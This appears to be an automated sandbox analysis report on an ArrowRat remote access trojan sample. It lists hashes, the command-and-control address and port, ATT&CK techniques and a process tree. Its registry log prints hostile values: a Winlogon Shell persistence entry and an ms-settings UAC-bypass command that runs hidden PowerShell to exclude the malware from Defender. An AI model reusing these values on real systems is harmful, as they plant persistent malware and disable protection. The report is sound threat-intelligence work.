arrowrat | 0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335

Analysis

max time kernel
127s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
07-05-2024 10:59

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General

Target

Client.exe
Size

158KB
MD5

d0a55dda2e691dbb7eedcd02cc7eaffa
SHA1

37433d28c8f89e0f3b63e145d592e86e9da9b22f
SHA256

0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335
SHA512

de5975c1c76799649b917b5e43c681ea2aff06813f43d363d4dc2ec8c99d33ba17026cb07a26931e6f637e26add9090be0eccc95f753f625461c75fe2b07327a
SSDEEP

3072:wbzmH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPzdO8Y:wbzme0ODhTEPgnjuIJzo+PPcfPzQ8

Score

10^/10

arrowrat client persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

26.137.109.175:1337

Mutex

pqjvqGUKv

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

Client.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\yoRyHvHxC\\qQDhvzMlM.exe"	Client.exe

Modifies Installed Components in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 11 IoCs

Processes:

explorer.exeClient.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open\command	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Roaming\\yoRyHvHxC\\qQDhvzMlM.exe'"	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

Client.exe

pid	Process
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe
2336	Client.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

Client.exeexplorer.exe

description	pid	Process
Token: SeDebugPrivilege	2336	Client.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe
Token: SeShutdownPrivilege	1992	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

Processes:

explorer.exe

pid	Process
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe

Suspicious use of SendNotifyMessage 17 IoCs

Processes:

explorer.exe

pid	Process
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe
1992	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Client.exe

pid	Process
2336	Client.exe

Suspicious use of WriteProcessMemory 49 IoCs

Processes:

Client.exeexplorer.exe

description	pid	Process	procid_target
PID 2336 wrote to memory of 1992	2336	Client.exe	28
PID 2336 wrote to memory of 1992	2336	Client.exe	28
PID 2336 wrote to memory of 1992	2336	Client.exe	28
PID 1992 wrote to memory of 3056	1992	explorer.exe	30
PID 1992 wrote to memory of 3056	1992	explorer.exe	30
PID 1992 wrote to memory of 3056	1992	explorer.exe	30
PID 2336 wrote to memory of 2184	2336	Client.exe	29
PID 2336 wrote to memory of 2184	2336	Client.exe	29
PID 2336 wrote to memory of 2184	2336	Client.exe	29
PID 2336 wrote to memory of 2184	2336	Client.exe	29
PID 2336 wrote to memory of 1628	2336	Client.exe	31
PID 2336 wrote to memory of 1628	2336	Client.exe	31
PID 2336 wrote to memory of 1628	2336	Client.exe	31
PID 2336 wrote to memory of 1628	2336	Client.exe	31
PID 2336 wrote to memory of 1984	2336	Client.exe	32
PID 2336 wrote to memory of 1984	2336	Client.exe	32
PID 2336 wrote to memory of 1984	2336	Client.exe	32
PID 2336 wrote to memory of 1984	2336	Client.exe	32
PID 2336 wrote to memory of 2588	2336	Client.exe	33
PID 2336 wrote to memory of 2588	2336	Client.exe	33
PID 2336 wrote to memory of 2588	2336	Client.exe	33
PID 2336 wrote to memory of 2588	2336	Client.exe	33
PID 2336 wrote to memory of 2576	2336	Client.exe	34
PID 2336 wrote to memory of 2576	2336	Client.exe	34
PID 2336 wrote to memory of 2576	2336	Client.exe	34
PID 2336 wrote to memory of 2576	2336	Client.exe	34
PID 2336 wrote to memory of 2552	2336	Client.exe	35
PID 2336 wrote to memory of 2552	2336	Client.exe	35
PID 2336 wrote to memory of 2552	2336	Client.exe	35
PID 2336 wrote to memory of 2552	2336	Client.exe	35
PID 2336 wrote to memory of 2664	2336	Client.exe	36
PID 2336 wrote to memory of 2664	2336	Client.exe	36
PID 2336 wrote to memory of 2664	2336	Client.exe	36
PID 2336 wrote to memory of 2664	2336	Client.exe	36
PID 2336 wrote to memory of 2676	2336	Client.exe	37
PID 2336 wrote to memory of 2676	2336	Client.exe	37
PID 2336 wrote to memory of 2676	2336	Client.exe	37
PID 2336 wrote to memory of 2676	2336	Client.exe	37
PID 2336 wrote to memory of 2704	2336	Client.exe	38
PID 2336 wrote to memory of 2704	2336	Client.exe	38
PID 2336 wrote to memory of 2704	2336	Client.exe	38
PID 2336 wrote to memory of 2704	2336	Client.exe	38
PID 2336 wrote to memory of 2688	2336	Client.exe	39
PID 2336 wrote to memory of 2688	2336	Client.exe	39
PID 2336 wrote to memory of 2688	2336	Client.exe	39
PID 2336 wrote to memory of 2688	2336	Client.exe	39
PID 2336 wrote to memory of 2716	2336	Client.exe	40
PID 2336 wrote to memory of 2716	2336	Client.exe	40
PID 2336 wrote to memory of 2716	2336	Client.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies Installed Components in the registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:3056
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:2184
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:1628
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:1984
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:2588
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:2576
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:2552
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:2664
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:2676
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:2704
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
  2⤵
  PID:2688
- C:\Windows\System32\ComputerDefaults.exe
  "C:\Windows\System32\ComputerDefaults.exe"
  2⤵
  PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1992-9-0x0000000002B00000-0x0000000002B10000-memory.dmp

Filesize
64KB

Download
memory/2336-0-0x000007FEF54C3000-0x000007FEF54C4000-memory.dmp

Filesize
4KB

Download
memory/2336-1-0x0000000000380000-0x00000000003AE000-memory.dmp

Filesize
184KB

Download
memory/2336-3-0x000007FEF54C0000-0x000007FEF5EAC000-memory.dmp

Filesize
9.9MB

Download
memory/2336-4-0x000007FEF54C3000-0x000007FEF54C4000-memory.dmp

Filesize
4KB

Download
memory/2336-5-0x000007FEF54C0000-0x000007FEF5EAC000-memory.dmp

Filesize
9.9MB

Download